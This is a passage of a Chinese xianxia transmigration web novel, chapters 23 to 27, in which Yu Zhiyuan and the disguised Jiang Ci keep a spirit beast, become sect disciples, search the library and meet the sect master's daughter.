如此情况,若不能修复好她的灵脉,那便也只能多歇几天,等这波灵力慢慢平静下来了。 虞知鸢也不知道她在云溪峰住的哪个屋子,只能半拖半扛把她弄回了自己这儿。她院子里本就只住了她一人,倒也没什么不方便。只是空置的几间屋子里也没有被褥,只好两个人挤一挤。 反正大家都是女人,又不是没睡过一张床,想来姜辞也不会介意这点小事。 等虞知鸢打理好自己,姜辞仍未醒来。 外头天色已经大亮,清晨的阳光透过窗户洒在她精致的五官上,她闭着眼,面上的清冷疏淡之色都散去不少,漂亮极了。 可虞知鸢却忍不住砸了咂嘴。 或许是因为在问心阵中看惯了她的男子装扮吧,这一日夜她对于这张脸,除了一如既往的惊艳外,更多的竟然是不适应。 怎么觉得还是男装更适合她一些…… 她拍拍自己的脸颊,告诉自己别瞎想。 而后才弯下身子,小心替姜辞掖好被角后,转身出了屋子。 房门打开又被关上,脚步声渐行渐远,姜辞才睁开了眼。 怀中似乎还残留着她的温度,鼻息间都还是她的气息,丝丝缕缕,沁入肺腑。 良久,他才起身下榻。 她的这间屋子恰好紧靠山崖,一开窗,便能看到外头松涛阵阵,远远地,还能瞧见半空中那抹御剑离开的纤细背影。 修长的手指扣了扣窗框,他漫不经心地想,她既帮他过了问心阵,他当如何谢她? 是疏远她,让她过一个寻常修士该过的人生?还是为她寻一个安全的地方,免她将来受到牵连?又或者……将她留在自己身边,与他死生同在? 若是与他在一起,恐怕她将来该要后悔帮他了。 不如还是就这样算了罢?他本来也早习惯了一个人。 姜辞脑中思绪万千。 而那抹身影也很快消失在了他的视野中。 他直起身,散落的长发滑至身前,俊秀的眉眼半睁,眸底一抹黑色暗涌。 /// 虞知鸢到山洞的时候,里头空荡荡的不见半个影子。 她在问心阵中的时间过了有一个多月,但阵外的时间不过才过了短短一炷香。 再加上当时姜辞因体内灵气紊乱,导致他毫无预兆地晕死了过去,她这才没抽出时间来找毛团子。 这会儿瞧着空荡的山洞,心里还是忍不住泛起了点愧疚之意。 罢了罢了,那小东西本来也就不大看得上她的样子,走了就走了吧。 下一个更好! 就在她转身的时候,从山洞的一个死角处忽地蹿出来一抹白影,四只爪子勾住她的裙,然后往上一蹿,扒拉住了她的腰带,就这么堂而皇之趴到了她的怀中。 虞知鸢顿了下,心里一喜,忍不住伸手挠了挠它的下巴,又托住了脑袋。 毛团子似乎是已经过了发情期,精神头瞧着比之前好上许多。 一双琥珀色的眼睛正一眨也不眨地看着她。 虞知鸢眯了眯眼睛,细细打量起来。 毛团子有一对大大的、圆圆的耳朵,细密的睫毛,黑色鼻头,扒开嘴,还能看到尖利的牙齿。 腮滚圆,除了额头上一点火焰形状的黑毛,浑身雪白,再无一丝杂色。 她扒开它背上的绒毛。 嗯,光的,没长翅膀。 但总还是觉得像,于是又扒了两下,而后指尖便被一条毛绒绒的尾巴缠住了。 “应该不是吧?”虞知鸢喃喃着:“哪有都发情了老虎还长得这么小的。” 毛团子:“……?” 虞知鸢长舒一口气,摸了摸毛团子的头:“肯定是我想多了,你要是真是神兽白虎的血脉,那我都要怀疑你是不是姜辞的本体了。” 她忽然想到什么,按住脑中的猜测,又忍不住笑起来:“瞧我这脑子,怎么忘了你可是公的,怎么可能是姜辞。” 毛团子闻言,琥珀色的眸子微微一怔,又重新团成一团,趴回了虞知鸢的怀中。 虞知鸢见状心情大好,摸着毛团子柔软的毛发,自言自语道:“铁蛋你怎么这么可爱啊。” 她将毛团子藏入怀中,而后召来佩剑,又往弟子舍馆赶回。 姜辞还没醒呢,她可不能离开太久。 夜月峰上。 姜辞缓步走到门口,欲要开门的手搭在门上许久。 就在他要打开门出去时,他身形一僵,蓦地攥紧了手指,额头上的青筋都跟着蹦了蹦。 铁……蛋? 第24章 第24章“你日后还……要同我一…… 虞知鸢转眼就回了夜月峰。 弟子舍馆里不见其他人,应当都是去上早课了。 她快步回到自己的屋子前,打开门,一眼便见到了正倚靠在床榻上的人。 姜辞一头黑发懒懒披散在身前,秀美的眉眼半睁,看过来的一双乌眸冷如山中雪,清冷绝尘。 “你醒啦。”虞知鸢先是怔了下,打量她面色无异,这才进到屋来,又反手把门关上了。 等回过身来,见姜辞的目光仍旧落在她脸上,奇怪地摸了摸自己的脸:“怎么了,我脸上有东西吗?” 姜辞顿了下,这才敛起了目光,问她:“你去哪了?” 提起这个,虞知鸢忽然做贼心虚似的瞟了瞟四周,而后才神神秘秘地,缓缓放下了从刚才起就挡在身前的手臂。 四目相对。 一人一兽的目光同时闪了闪,而后各自别开了目光。 虞知鸢挠了挠毛团子的下巴,朝姜辞眨眨眼:“这是我捡到的灵兽,你看,是不是很可爱?” “我觉得它长得有点像老虎,”她走得更近,把毛团子往姜辞眼前递了递,“你觉得呢?” “……”姜辞静默了一瞬,不知该如何回答。 这时毛团子忽然抬起爪子,灵巧的身形一扭,三两下便蹿到了虞知鸢的肩头,长长的尾巴一甩,一下抽到了姜辞的脸上。 虞知鸢:“!!!” 姜辞:“……” 气氛有一瞬间的凝滞。 虞知鸢舔了舔唇,“呵呵”干笑两声,小心翼翼道:“铁蛋怕生,它不是故意的。” 姜辞又觉得自己身上有点痒了,只不过这回痒的是后槽牙。 他目光冷冷盯了眼缠住了虞知鸢脖子的那团,良久,才动了动唇:“……换个名字。” “唔?”虞知鸢一时不解,好一会儿才反应过来,讷讷开口问道:“你说铁蛋吗?” 姜辞:“嗯。” 虞知鸢对给毛团子取名倒也没啥执念,就是“铁蛋”这个名字,还是因为她那天晚上迷迷糊糊看到了……咳……才随口取的。 姜辞看着她似乎有些泛红的耳尖,也想到了什么,不自在地移开了目光,轻咳一声道:“我倒觉得不大像。” 虞知鸢楞了下,而后才反应过来姜辞是在回答她方才问毛团子像不像白虎的问题。 不像吗? 虞知鸢把毛团子从肩膀上扯下来,盯着它微鼓的脸颊左瞧右瞧,端详了半晌,也没能得出个结论来。 但既然姜辞都说不像,那应当就不是了…… 吧? 她顿了片刻,迟疑道:“那要不然,叫铁杵?” 姜辞:“?!?” “那……铁锤?” “……铁锹?” “你就这么喜欢……”姜辞顿了顿,“铁的?” “那倒也没有啦,不过我听说给贱名好养活。”虞知鸢道。 姜辞觉得自己现在有点贱,良久,才咬牙道:“就叫毛团吧。” 虞知鸢不知可否,砸了咂嘴,似乎还有些可惜的样子。 倒是毛团子舔了舔唇,脑袋拱了拱她的手,似乎对这个新名字还比较满意。 那就……行吧。 结束这个插曲,虞知鸢才想起来问姜辞:“昨日你体内灵气紊乱得很,今日可好些了?” 姜辞冷漠道:“无事了。” 虞知鸢应了声,又掀起眼皮瞧一瞧姜辞,见她神色淡漠,面上的笑意也跟着淡了些。 她们俩也算是睡过同一个被窝的人了,还不只一次,在问心阵里姜辞明明对她很好的呀,怎么现在出来了,倒反而还不如没进问心阵之前呢…… 屋中安静下来。 良久,一道声音蓦然响起。 “多谢你。” “嗯?” 虞知鸢一时没反应过来,直到姜辞的目光重新对上了她。 “问心阵里,”姜辞抿了抿唇,又一次重复道:“多谢你。” 虞知鸢“啊”了声,赶紧摆手道:“我没有做什么,你能出来是因为你自己就很厉害,还有你母亲她……” 虞知鸢说到此处,特地抬眸观察了一下姜辞的反应。 她面色平静,似乎心魔在她这里却是已经过去了。 其实这会儿再细想,即便没有她掺和,姜辞自己应当也能从问心阵出来。 因为姜辞有个本就爱她的母亲。 相比之下,她的存在其实是可有可无的 。 反倒是她因为息尘长老送她的法器,蹭了姜辞的顺风车,并未经历自己的心魔便顺利过了问心阵。 事实上,她确实不知道自己有没有心魔,如果有的话,那她的心魔又是什么? 而若是真的陷进去,她又能不能出的来…… 可这样一来,息尘长老送她法器的目的,难道真的是为了帮她进内门? 一时找不到答案,她索性也不再想,对姜辞道:“你不用谢我。” 她眼眸弯弯看着他,恍然同问心阵中那个笑意软糯的小姑娘重合在一起。 姜辞心中微动,突然一句闷在胸口的话冲口而出:“你……不怕我吗?” 在亲眼见到我满身鲜血的疯魔样子之后,你不觉得我很可怕吗? “啊?” 虞知鸢着实对姜辞这东一榔头西一棒槌的话摸不着头脑,脆生应了句:“不怕啊。” 说完,她才又想起那日隐约瞧见的谢沉舟和遥光的身影,以及学宫中的那些外姓弟子…… 姜辞并没有杀了他们啊。 女主果然不愧是女主,恩怨分明得很。 她想到这里,又觉得这种当面表衷心的机会绝对不可以错过,于是一把握住姜辞的手腕,又强调了一句:“你很好。” 姜辞不自然地动了动手腕,却没有挣开她的手,只垂眸问道:“好吗?” “那当然。”虞知鸢信誓旦旦,还重重点了下头,“比所有人都好。” 姜辞抿了抿唇,转眸移开了视线。 他脑中闪过无数思绪,但都没有说出来。 许久,才动了动唇,哑声问道:“你日后还……要同我一起吗?” 虞知鸢更用力地点头:“要,当然要。” 姜辞沉默片刻,又问道:“哪怕将来会被所有人恐惧、厌恶、仇恨,更或许有朝一日,连神魂都不存……”她的声音很轻:“也要同我一起?” “要。”虞知鸢答得没有一丝迟疑:“跟你一起。” 因为根本不会发生那种事情,女主将来可是修真界中让人仰望的存在,到时候她这个跟班岂不也风光得很。 良久。 姜辞动了动唇:“好。” “嗯?”虞知鸢原还想问一句“好什么”,一抬眸,目光触及姜辞眼中似有若无的光,微微怔了下。 姜辞勾了下唇:“师姐说的话我记住了。” “唔……”虞知鸢眨了眨眼,忽然听见这声师姐,一时没反应过来这声是在叫她。 直到耳边又一次传来姜辞的声音:“师姐怎么了?” 这回可算是意识到姜辞是在叫她了。 姜辞的声音本该是清冷的,此时却像是刻意压低了似的,有些哑,一声一声的“师姐”出口,还拖着长长的尾音,听得虞知鸢耳朵都有些发痒。 是了,问心阵之中姜辞总让她喊她师兄,可现在是在凌云宗,她才是师姐。 虞知鸢干咳一声,收回视线,含糊道:“没什么没什么。” 而后若无其事一般搁下怀中的毛团子,转过身,“怎么好像有点饿了,我去饭堂看看还没有吃的。” 姜辞:“……” 这会儿早过了时辰,饭堂的门她恐怕都进不去。 但他还是应了声“好”。 待到门重新关上。 姜辞收回面上笑意,低头,与一双圆滚滚的眼睛四目相对。 片刻后。 败下阵来的毛团子把自己整个团了团,挪到了一个不碍着某人眼的角落。 虞知鸢当然没找到吃的,不过还是带回了一条被子和一些生活用品。 还有两日就要进内门了,姜辞的身体需要好生修养,若是回云溪峰的住处,一个人住着恐怕多有不便。好在她这院子里空房间多的是,于是她索性把自己的屋子让给了姜辞,自己在她隔壁又简单收拾了一间出来。 天光渐渐暗淡,夜色深了。 姜辞闭着眼端坐在榻上。 某一刻开始,他感受到温热滑腻的触感落在他的身上,他呼吸渐重,喉结无意识地滚了滚,而后猛地睁开了眼。 他抬手抚了抚眼睛,能清晰地听见那道轻浅的呼吸声,仿佛就在他的耳旁。 许久,他终于忍无可忍,站起身,打开房门,又推开隔壁的,走进去。 榻上的少女像是被惊动,迷迷瞪瞪地坐了起来:“……姜辞?” 姜辞顿了下,低低应了声。 那头虞知鸢确认了是她,便又软绵绵躺回了榻上。 很快又睡熟了。 姜辞站在一侧,漠然而冷静地盯着她的睡颜许久,而后轻轻掀起被角,把蜷缩在里头的那一团给拎了出来。 /// 转眼两日过去。 虞知鸢早早便拉着姜辞御剑到了位于中阙峰上的主殿广场上。 凌云宗的主殿很大,外头灵光缭绕,仿佛建在云层之间,其高大的门楣之上,龙飞凤舞的“金阙殿”三字,散发着熠熠的光辉。 广场上已经有人了。 虞知鸢打眼一瞧,还在里面看见了个熟人。 正是本书的男二,和她们同一组参加界域骨镜试炼的林喻。 林喻在外门弟子中本就相当出色,能通过问心阵倒也不奇怪。 而除了林喻外,另外还有四人她就不认识了,其中虽也有瞧着面熟些的,也叫不出名字来。 那头林喻或许是察觉到虞知鸢的视线,也朝她看了过来。 见到虞知鸢和姜辞相携而来,林喻眸光闪了闪。 “虞师妹,姜师妹。”他朝她们拜了拜,仍是那副不急不缓逢人便笑的温雅模样。 虞知鸢这厢还待跟林喻说上两句话呢,一道声音贴着她的耳朵便落了下来。 “来了。” 虞知鸢:什么? 姜辞这头话音刚落,金阙殿中就出来了一人。 正是息尘长老。 他眯眼瞧了瞧阶下几人,道:“都随我进来罢。” 说罢转身进了金阙殿。 林喻没急着进去,站在原地朝虞知鸢看了眼。 虞知鸢正要跟上去,手臂被人从后面一把握住了。 她侧眸看过去:“怎么了?” 姜辞没说话,只垂眸直勾勾看着她。 虞知鸢不明所以,想了想,道:“你放心,我没把你的身份告诉别——” 她话没说完,姜辞忽然朝她微微俯身过来,而后抬起手,压了压她耳旁被风撩起的乱发。 “我知道的,”他扫了一眼没等到人,已经先一步往金阙殿走去的林喻一眼,缓缓开口,“好了师姐,我们走吧。” 虞知鸢狐疑地瞅着姜辞。 ……你是不是有什么毛病? 第25章 第25章一朵枯败的花,于一夜间…… 大殿内人不少。 阶上阶下都站着十来个身着凌云宗弟子服的修士。 虞知鸢进了门,抬眸便先瞧见了高阶之上,正坐于主位上的男人。 离得远瞧不清五官,只能看出男人约摸三十左右的模样,一身靛蓝色长袍,玉冠束发,给人的感觉温文尔雅,然周身威压却很重,让人不敢直视。 虞知鸢眨了眨眼,很快也垂下了眸,与其他弟子一道,向着高阶的方向拜道:“拜见宗主。” 男人轻抬了抬手臂。 而此时,殿中众人的目光皆都落在了姜辞身上。 无他,这少女年纪不大,身形倒着实高挑,瞧着甚至比起殿中的男子都还高一些。 不过在场的几位长老修为都不低,自然也都瞧出来这少女体内灵气稀薄,虽通过了这次内门弟子选拔,将来在修仙一路上恐怕也难有突破。 随后众人的目光又不约而同被他身旁那个容色颇为妍丽的少女所吸引。 修真界中自然不乏俊男美女,若单论容色,这少女虽也出色,但并不是绝无仅有,反而是那双眼睛,媚眼如丝,眼波流转。不难想象,这双媚眼一勾动,恐怕万物都要在她眼前失了颜色。 而坐在阶上的长老,以及长老的亲传弟子们在瞧见她的脸后,皆都短暂地楞了下。 倒并不是因为 她长得好看,也不是因着她这双勾人的媚眼。 他们面上不显,心中却心思各异,又都迟疑地看向了坐在高阶主位上的男人。 男人眼睫轻垂,面上神色依旧缓和,对这般探究的视线恍若未觉。 台阶下,息尘长老的声音再一次响起:“本次通过内门遴选的弟子都在这里了,诸位可有心仪的弟子啊?” 阶上几位长老闻言,目光又纷纷看回阶下。 此次内门遴选一共两重试炼,比历次遴选还少了一重,可能够通过两次试炼的一共才七人,还不到从前人数的一半。 可见这世上,心思纯澈,灵台清明的人着实不多。 不过人之所以生而为人,便是因为有七情六欲,有人生而带来的负累,这无可厚非。修仙修仙,本就是人努力去摆脱属于人的负累的过程,只要心志坚定,就已经迈出了修仙的第一步。 长老们的目光在殿中逡巡一圈。 若是有心仪的弟子,便将自己座下的弟子玉牌送到弟子面前,弟子接过,便算是拜入这位长老座下。 若是同时有两位长老看中同一个弟子,那么弟子就可以自行选择其中一面玉牌,接过玉牌,便等同于拜入这位长老座下。 随着时间一点点过去,其他弟子几乎都已经接了玉牌,便是此前多数人都不看好的姜辞面前也悬了一块。 偏偏只虞知鸢面前空空荡荡,好生冷清。 她也不着急,偏头一瞧,便看见了悬在姜辞面前的玉牌,是虞瀚玥的。 按照原文中的内容,姜辞进入内门后也确实是拜在了中阙峰,那她当然是要跟着她的了。 而眼下,虞瀚玥也不知是不是顾虑她的身份,似乎并没有要选她的意思。 也是,他不就是因为不待见这个女儿,才会把她丢在外门十多年不闻不问吗?眼下她虽是通过了这次内门弟子的选拔,想来虞瀚玥也不会喜欢她整日在他面前晃悠。 既然如此,山不来就我,那我自来就山好了。 反正她也不想认这么个人当父亲,他不喜欢她,她还膈应他呢。 打定主意后,虞知鸢掀起眼皮瞧住了高阶上的虞瀚玥,只还不等她开口,虞瀚玥倒是先抬了抬手。 一块刻有云纹的玉牌便飞到了她面前。 这玉牌和悬在姜辞面前的那一块还不大一样,整体呈琥珀之色,似玉非玉,令牌正面鎏金的纹路形成一个“虞”字形状,其上有灵力隐隐波动。 虞知鸢的脑中立刻闪过了关于这块玉牌的记忆。 这是历代凌云宗宗主亲传弟子才有的玉牌。 大殿中的众人见状,也不由齐齐把目光落在了虞知鸢身上。 要知道凌云宗宗主座下弟子拢共不过百,亲传弟子至今更是只有一人,如今毫无预兆地,突然就又收了这个少女做亲传弟子,如何不让人觉得诧异。 便是虞知鸢也楞了下,一时拿不准虞瀚玥这是什么意思。 这时高阶上的人忽然开口了:“本尊收你做亲传弟子,你可愿意?” 这话一出,除了息尘长老之外,大殿中包括虞知鸢自己在内的所有人多多少少都露出了诧异之色,便是姜辞,也不由地多看了她一眼。 而方才进入内门的那几个弟子闻声,也同时瞪大了眼,说不出是嫉是羡地看向了虞知鸢。 亲传弟子,门内一切的好东西自然都是以她为先。 但虞知鸢却没有立刻接过玉牌。 实在是虞瀚玥的这番操作让她看不懂了。 按理来说,这虞瀚玥不可能会认不出她来,所以他这么做,难道是因为他对自己从前对自己这个女儿的所作所为后悔了,所以想要补偿她? 可原文中,虞瀚玥在得知原身死后,也未有半分动容,这会儿怎么就突然幡然醒悟了? 再说了,她记得很清楚,虞瀚玥应当还有个同他正牌道侣生的女儿,所以他也不缺女儿啊。 这头虞知鸢还在头脑风暴,那头虞瀚玥见她不动,不着痕迹地勾了下唇,又道:“你若是不愿入本尊座下,想拜其他长老为师也无妨,不必顾忌。” 虞知鸢的表情也都快绷不住了。 她本意要跟姜辞一起拜入中阙峰的,可就算她想拜别人为师,也得有人给她玉牌啊!虞瀚玥真是使得好一招以退为进! 她觑一眼身旁的姜辞,咬咬牙,还是在众人震惊的目光中接过了玉牌。 她虽不欲和虞瀚玥父女相认,她也没办法替原身去原谅或者怨恨这个父亲,但宗主亲传弟子的这个身份,日后兴许能有一些用处。 而后她便向着高阶上的虞瀚玥略略弯腰拜了拜,当是全了拜师的礼节。 另一边的姜辞也随即伸手握住了面前的令牌。 如此,今日的拜师大典也就结束了。 弟子们从大殿中鱼贯退出。 虞知鸢和姜辞因为进殿时落在最后面,此时便走在了人群的最前头。 眼看着那一高一矮两道人影渐渐消失在视野中,虞瀚玥睇过去的视线也变得更耐人寻味了些。 一朵枯败的花,于一夜间重新焕发了生机, 这很好,也很有趣,不是吗? /// “也不知这虞知鸢和姜辞这两个废物究竟是走了什么狗屎运,通过了内门弟子选拔不说,竟然还都被宗主收作了弟子。” “你可少说两句吧,她们是废物,那我们是什么?比废物还不如?” “师兄,话可不是这么说的。姜辞我就不多说了,便是那个虞知鸢,师兄难道没察觉她最近变了很多,只瞧那双眼睛,可就勾人得很啊。啧啧……” “你的意思是宗主他……” 话没说完,旁边似有一道目光不经意扫过来,脊背莫名感到一股寒凉。 两人立刻回过头,阴影的暗处正站着一个人。 着实惊了这两人一大跳。 这是在凌云宗内门地界,他们身为外门弟子,本不能随意踏足,只是因三月后宗门内要举办大比,这才前来与内门师兄商谈。 而此刻正站在那的女子,虽瞧不清面容,看身形倒是与那虞知鸢有几分相似。 背后议论,竟叫当事人听见了,那人如今的地位还比他们高了许多,怎么能叫他们不慌? 二人对视一眼,正在考虑是要立刻当做没看见转头就走,还是低下头来跟人道个歉时,突然一条携着灵力的鞭子朝两人抽了过来。 二人见状本能就地一滚,虽是躲开了鞭子,但那鞭子带起的风依旧凌厉,擦过脸颊,一阵火辣辣的疼痛。 再抬头时,那站在阴影中的人也已经走出来了。 那是一个身着碧霞色浮光锦裙,手持长鞭的少女。 她微微抬着下颌,看着这两个外门弟子时眸光冷淡,冷淡中又藏着一丝不屑,仿佛看着蝼蚁。 此时远处又遥遥传来一道温润嗓音:“曦云师姐,跟他们有什么好较真的。不过就是些嫉妒猜忌的流言,何必往耳朵里去。” 女子并未答话,手里的鞭子仍旧指着地上那两人,“再让我听见你们胡乱说话,别怪我不客气!” 那两人在听到女子的名字时就已经吓白了脸,此时立刻颤着声朝她拜下:“是我等方才胡言乱语,仙子莫往心里去。” 女子冷哼了声,斥道:“滚!” 二人当即连滚带爬,半点顾不得形象地跑开了。 等跑得远远的,再也瞧不到那道身影了,二人才扶着一棵大树瘫坐下来。 “师……师兄,那位就是……” 另一人赶紧打断他,“闭嘴,你是不长脑子怎么的,还没长教训?” 问话的人脖子一缩,当即不说话了。 但就算是不说,他心中对自己的猜测也更加肯定了几分。 毕竟在凌云宗内,谁又敢和宗主的宝贝女儿同 名? 只是…… 他有些疑惑地皱了皱眉。 他怎么觉得这宗主的女儿,瞧着像是有几分眼熟呢? 第26章 第26章我并不会做什么救世主,…… 虞知鸢和姜辞被宗主收为弟子的事很快在外门内传开。 尤其是虞知鸢,一个在外门待了十多年,修为都只到炼气二阶的弟子,竟成了宗主的亲传弟子,怎能不叫那些曾经瞧不起这两人的外门弟子们的眼珠子都瞪出来? 不过修真界中也不乏有一夕之间开窍,修为于短短时间内飞涨的修士, 又听闻有弟子见过从问心阵出来后的虞知鸢,说是那时她的修为已经跨入了洗髓期,甚至隐隐有快要筑基的迹象,这就更印证了此前的说法。 若是这般,宗主收其为亲传弟子,倒也说得过去。 外门之中风起又风平也不过短短几日,身在内门的虞知鸢却是一点也不关心。 如今她和姜辞都拜入了中阙峰,虽她挂了个虞瀚玥亲传弟子的名头,但那虞瀚玥却也压根不管她,平日吃穿住行以及修炼和其他弟子并没有什么不同。 也不知道是虞瀚玥只对她这样,还是所有亲传弟子都一样。 至于那个她唯一可以用来参考比较的对象,也就是虞瀚玥的另一个亲传弟子,凌云宗的首席大弟子,他于几个月前便下山历练,至今仍未归来。 当然,若是真用这位大师兄来与她比较,虞知鸢觉得自己大抵就会被他秒成渣了。 为什么呢? 因为这位大师兄正是本书男主,那个秉承剑气而生的修真天才——慕言蘅。 在这本书中世界,修真等级分为:炼气、洗髓、筑基、融合、金丹、元婴、碎虚、大乘、渡劫。 而他如今方才二十六,便已经是金丹三阶了,只差一步就可以迈入元婴期。 要知道如今修真界元婴期的修士屈指可数,而元婴期以上的修士,放眼整个修真界,也只有凌云宗、照日台和天机阁的三位宗主,而他们都是已经不知道活了多久的老东西了。 这么一比较,这慕言蘅能成为男主,也就没什么好奇怪的。 而按照书中剧情,女主姜辞在进入凌云宗内门之后,也就开启了和慕言蘅之间的感情线。 一个是身世悲惨却心智坚韧的废柴少女,一个是心绪冷然又无心情爱的修真天才,两人在长久的相处中渐生情愫,然而也因为这两人都是有事都藏在心里自己闷着的性格,导致他们的感情之路走得非常艰难。 而一想到他们之间那一系列你爱我我不爱你,我爱你但你更爱苍生的剧情,虞知鸢就止不住地脑仁疼。 她一个母胎单生二十年的纯情小女生,连小男生的手都没正经牵过,却要想办法撮合一对不长嘴的男女主,何其艰难…… 但再一转念,她是没吃过猪肉,那还能没见过猪跑吗? 不就是男女谈恋爱那点子事,他们不长嘴,她长了啊。 想到这里,她又忍不住侧眸看了眼身旁的人。 姜辞正专心看着书架上的功法书籍,敛在纤长睫羽下的双眸平静剔透,像浸在冰雪里的琉璃,清泠泠的。 这样一个清冷大美人,虞知鸢还真想象不出来,她谈起恋爱来会是什么模样。 “师姐看我做什么?”姜辞察觉到她的视线,低下头来,眸色泠泠。 “没什么。”虞知鸢立刻收回视线,含糊道:“找到了吗?” 姜辞摇头,将手里的古籍放回去,状似随意道:“师姐怎知这藏书阁中有能治好我灵脉的方法?” 虞知鸢心道:那我当然知道啦,原文中姜辞便是因男主慕言蘅的关系,得以进入这凌云宗只有宗主长老和各亲传弟子才能进的藏书阁第五层,找到了记载着治疗她那灵脉方法的古籍。 虽然现在慕言蘅还没回来,但灵脉肯定是能早治就早治啊,反正她都担了个虞瀚玥亲传弟子的名头了,不用白不用。 只是…… 虞知鸢的视线扫过满架子密密麻麻的书籍,又觉得自己想得太简单了。 这里头这么多书,也不知究竟是哪一册才是,这得找到什么时候去。 她抿抿唇,道:“凌云宗这藏书阁里的修真功法应是修真界内最多的了,我听说这第五层里有不少古籍秘法,说不定就有能解决你灵脉问题的法子呢。” 姜辞:“其实我的灵脉治与不治都无妨,师姐不必为此操心。” “那怎么能行!”虞知鸢十分不满意她这样消极,好像什么都无所谓的态度,“你将来可是要成为修真界最厉害的修士拯救世界的,灵脉必须治好。” 姜辞盯了她片刻,“是吗?” 她不只一次说过他将来会变得很厉害,语气也始终如在问心阵中时一般天真烂漫,可他是真不知道他哪里表现出来得像她嘴里的样子,以至于让她对他产生了这样的误解。 虞知鸢连连点头:“当然是了。” 姜辞沉默了下,微微躬身,指尖点住她的额头,强制停下了她点头的动作。 “我想你可能没弄清楚,我并不会做什么救世主,我要做的,是——” 他的话没能够说完,怀中忽然鼓了鼓。 一截毛绒绒的尾巴悄无声息地缠上了虞知鸢的指尖,尾尖也轻轻地扫过她的掌心。 虞知鸢才因为姜辞的言行僵了下,此时回过神来,一垂眸,果然看见了从姜辞怀中探出来的小脑袋。 两只圆溜溜的眼睛瞧住了她,正作势要跳到她身上来。 但一只手更快地拎住了它后脖子的皮,将它团吧团吧又塞回了自己怀中。 虞知鸢忍不住皱眉:“你轻点呀,别把毛团子弄疼了。” 姜辞淡声:“它不怕疼。” 虞知鸢有些无语。 不怕疼跟不疼是两码事好吗? 她一瞧姜辞这样子就知道她显然是对养灵宠没什么耐心,也不知道为什么非要把毛团子带在自己身边。好几回毛团子晚上溜到她房间,都被姜辞给逮了回去。 虞知鸢心中暗暗叹气:早知道,她就不告诉姜辞毛团子的存在了。 毛团子这么可爱,却要整日对着这么一个不解风情的人,实在是可怜。 看着毛团子那看向她的委屈巴巴的眼神,她又一次试探道:“要不然,毛团子还是跟着我吧?” 姜辞转身,只留给虞知鸢一个纤合有度的背影:“不必。” 大抵是高傲的人都不愿意承认自己有不擅长的事吧。但谁叫姜辞是女主呢,能够跟在女主身边,对毛团子来说也是好的啊,也只能委屈它一下了。 “那好罢。”虞知鸢鼓了鼓腮帮子:“你刚才的话还没说完呢,你将来要做什么?” 姜辞的脚步几不可察地一顿,而后又若无其事一般往前走去。 “没什么,将来你就知道了。” 而在虞知鸢没有看到的地方,毛团子抬起爪子,在姜辞抓着它的那只手上狠狠挠了一道。 血顷刻便涌了出来。 姜辞不甚在意,只微微垂下眸去,毛团子立刻一撅屁股,老老实实钻了回去。 姜辞也懒得管它,只用另一只手抹去了冒出来的血珠。 手背上的伤口也以肉眼可见的速度迅速愈合,很快就和原来无异了。 身后虞知鸢跟了上来,几乎并肩与姜辞贴到一处。 两人在一排排书架间走过,能听到脚下的木板发出细微的“咯吱”声。 藏书阁中设了禁制,无法使用法术来找书,而虞知鸢也不知道那本记载着治疗灵脉方法的古籍叫什么,只得一本本看过去,觉得有点像的就取下来,不方便全带回住处,便索性归拢在一处,大致先翻看一遍。 阳光透过藏书阁顶部的法阵,洋洋洒洒落了满地,也落在那个正低头专心翻开书册的少女身上。 她背靠着书架盘腿坐在地上,长长的睫羽在面颊上落下了隐约的阴影,眼尾勾出漂亮的弧度,在这样安静温 暖的时刻,她眼中那仿佛天生带着的媚意,都变成了十分的乖巧。 这头虞知鸢看书看得专注,丝毫没注意到身侧人的视线始终落在她身上。 又过了许久,她抬起手肘轻轻碰了下姜辞的,“我这里没有,你那里呢?” 姜辞移开视线,淡淡道:“没有。” 虞知鸢小声叹气,但很快又打起精神来:“没关系,我们明日再来,一定可以找到的。” 她揉了揉眼睛,伸个懒腰,又抬眸看了眼周身一排排的书架。 若是放在从前,她肯定是要觉得不耐烦了,如今倒是还好。 这藏书阁第五层本就都是修真界内珍贵的藏书,多多少少都于修行上有帮助。有些法术修习有门槛,她暂时还学不了,这也不要紧,只要是她看到过的,觉得有用想要记下来的,大多都印入了她的识海。 而这相当于过目不忘的本事,大约也是修仙的好处之一? “吱呀——” 此时一声极细微木板被踩踏的声音响起。 虞知鸢转头望去。 隔着密密麻麻的书册,瞧不见人影。 藏书阁每日进进出出的弟子不少,只是这第五层因为有限制,能上来的人少之又少。 今日几乎在这待了大半日也没碰到别的弟子,不曾想在这乌金西坠之时倒来了人。 虞知鸢也没多想,毕竟凌云宗内的长老和长老亲传弟子加起来也有十数人,碰不上正常,碰到更正常。 她站起身,拍了拍身上的褶皱,瞧着仍坐着没动的姜辞,将手伸了过去。 姜辞顿了下。 眼前的手掌白皙,掌心的皮肤透着淡淡的粉,应当是极其柔软和温暖的。 “师妹,有人过来了。”虞知鸢催促道。 姜辞浅浅吸了口气,这才抓住了她的手。 肌肤相触的那一瞬,熟悉的触感让他的动作微微滞了下。 虞知鸢:“唔?” 姜辞回过神,这才顺着她的力道站起身来。 越发清晰的脚步声逐渐靠近。 虞知鸢又一次侧眸,这回倒是瞧见了一点碧霞色的裙角。 顺着裙角往上,一道身影渐渐映入了她的眼帘。 第27章 第27章“她与你,倒是有几分相…… 在虞知鸢看过来的同时,虞曦云也瞧见了她。 少女周身灵气充盈,一身翠绿色衣衫轻薄娇俏,脸颊粉白,眸色盈然。 虞曦云目光闪了闪,盯着虞知鸢多看了两眼,心里莫名生出一股怪异的感觉。 她前些日子在自己洞府内闭关筑基,便是这回的内门弟子选拔也未曾去瞧热闹,只听人嚼舌根子说了些叫人听不入耳的话。 因而见到虞知鸢和姜辞时,她虽意识到这两人可能新入内门的弟子,却并不识得她们。 虞曦云的目光落在两人身上,不着痕迹地皱了下眉。 “曦云师姐,我找到了,你下来吧。”楼下传来声音。 虞知鸢觉得楼下这道声音耳熟的同时,也确认了眼前女子的身份。 整本书中唯一叫曦云的人也只有虞瀚玥和他那位早逝道侣的女儿,也就是她同父异母的妹妹。 当然除此之外,虞曦云也是原文中一个相当重要的女配。 她和男主慕言蘅自幼便有婚约,又因虞瀚玥对她十分宠爱,养成了个骄纵的性子,在得知慕言蘅喜欢上姜辞后,她几番找姜辞的麻烦,或是言语侮辱,或是威逼利诱,成功在男女主的爱情道路上制造了不少误会和麻烦。 可以说,虞曦云既是男女主之间的障碍,又是他们之间感情的磨刀石和催化剂。 虞知鸢在初初看到这个人物的设定时,只觉得相当狗血,但这会儿面对面见到了,虞知鸢立刻又觉得,狗血的应该是她才对。 